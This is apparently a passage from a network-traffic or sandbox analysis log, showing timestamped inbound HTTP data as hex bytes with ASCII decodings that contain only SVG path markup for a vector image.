2023-07-27 19:53:37 UTC	310	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 35 2c 32 39 32 2e 38 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e Data Ascii: cls-4" d="M879.5,292.83a1.72,1.72,0,0,1-.77,2.24,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.
2023-07-27 19:53:37 UTC	326	IN	Data Raw: 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 30 2c 33 36 31 2e 32 31 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 39 2e 37 39 2c 33 35 34 2e 32 38 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 Data Ascii: 2.86"/><path class="cls-4" d="M910,361.21a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M909.79,354.28a1.71,1.71,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.3
2023-07-27 19:53:37 UTC	342	IN	Data Raw: 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 39 34 2c 32 33 35 2e 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 37 2c 32 32 38 2e 37 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 Data Ascii: 9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M926.94,235.7a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M926.7,228.76a1.72,1.72,0,0,1-.78,2.24,2
2023-07-27 19:53:37 UTC	358	IN	Data Raw: 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 31 31 2c 31 37 30 2e 35 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 33 34 2c 31 37 37 2e 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 Data Ascii: 82"/><path class="cls-4" d="M1027.11,170.57a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M1027.34,177.4a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2
2023-07-27 19:53:37 UTC	374	IN	Data Raw: 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 31 30 2e 36 39 2c 33 30 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 39 37 2e 35 31 2c 31 31 36 2e 38 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 Data Ascii: -.16-2.81"/><path class="cls-4" d="M1010.69,301a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"/><path class="cls-4" d="M997.51,116.88a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.3
2023-07-27 19:53:37 UTC	390	IN	Data Raw: 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 2e 30 39 2c 32 34 37 2e 33 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 Data Ascii: .37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M981.09,247.32a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M981
2023-07-27 19:53:37 UTC	406	IN	Data Raw: 2c 31 38 36 2e 38 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 31 2e 34 39 2c 31 39 33 2e 36 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e Data Ascii: ,186.81a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M951.49,193.64a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2.39,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.
2023-07-27 19:53:37 UTC	422	IN	Data Raw: 30 2c 31 2d 32 2e 38 36 2c 30 41 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 39 32 32 2c 31 32 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 36 37 2c 31 33 33 2e 31 32 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 39 2c 31 34 30 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e Data Ascii: 0,1-2.86,0A2.09,2.09,0,0,1,922,125"/><path class="cls-4" d="M921.67,133.12a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"/><path class="cls-4" d="M921.9,140a1.68,1.68,0,0,1,.76-2.2,2.
2023-07-27 19:53:37 UTC	438	IN	Data Raw: 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 35 2e 34 37 2c 32 37 30 2e 33 39 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 41 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2c 39 30 39 2c 32 37 32 61 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c Data Ascii: 48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M905.47,270.39a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.29.93A2.38,2.38,0,0,1,909,272a2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><
2023-07-27 19:53:37 UTC	454	IN	Data Raw: 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 36 35 2c 32 30 39 2e 38 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 38 38 2c 32 31 36 2e 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data Ascii: class="cls-4" d="M875.65,209.87a1.69,1.69,0,0,1,.76-2.2,2.49,2.49,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M875.88,216.7a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-07-27 19:53:37 UTC	470	IN	Data Raw: 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 36 2e 30 35 2c 31 35 36 2e 31 39 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 Data Ascii: 36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M846.05,156.19a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"/><path class="cls-4" d="
2023-07-27 19:53:37 UTC	486	IN	Data Raw: 2c 32 38 36 2e 36 33 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 38 36 2c 32 39 33 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 Data Ascii: ,286.63a1.68,1.68,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.92,2.37,2.37,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M829.86,293.45a1.7,1.7,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2
2023-07-27 19:53:37 UTC	502	IN	Data Raw: 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2c 32 33 32 2e 39 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2e 32 36 2c 32 33 39 2e 37 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 Data Ascii: ,0,0,1-.16-2.81"/><path class="cls-4" d="M800,232.94a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M800.26,239.77a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.9
2023-07-27 19:53:37 UTC	518	IN	Data Raw: 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 35 2c 32 32 39 2e 32 35 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 34 2e 37 33 2c 32 32 31 2e 35 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 Data Ascii: 37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M505,229.25a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M504.73,221.53a1.92,1.92,0,0,1-.87,2.49,2.79,2.79
2023-07-27 19:53:37 UTC	534	IN	Data Raw: 3d 22 4d 35 32 33 2e 38 31 2c 38 39 2e 35 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 33 2e 35 35 2c 38 31 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e Data Ascii: ="M523.81,89.56a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M523.55,81.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.
2023-07-27 19:53:37 UTC	550	IN	Data Raw: 2e 36 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 35 37 2e 35 32 2c 31 35 37 2e 39 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 Data Ascii: .66a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M557.52,157.94a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3
2023-07-27 19:53:37 UTC	566	IN	Data Raw: 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 31 2e 34 39 2c 32 33 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 Data Ascii: 9,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"/><path class="cls-7" d="M591.49,234a1.92,1.92,0,0,1-.87,2.49,2.78,2.78,0,0,1-3.71-1.05,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><pa
2023-07-27 19:53:37 UTC	582	IN	Data Raw: 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 33 31 2c 39 34 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 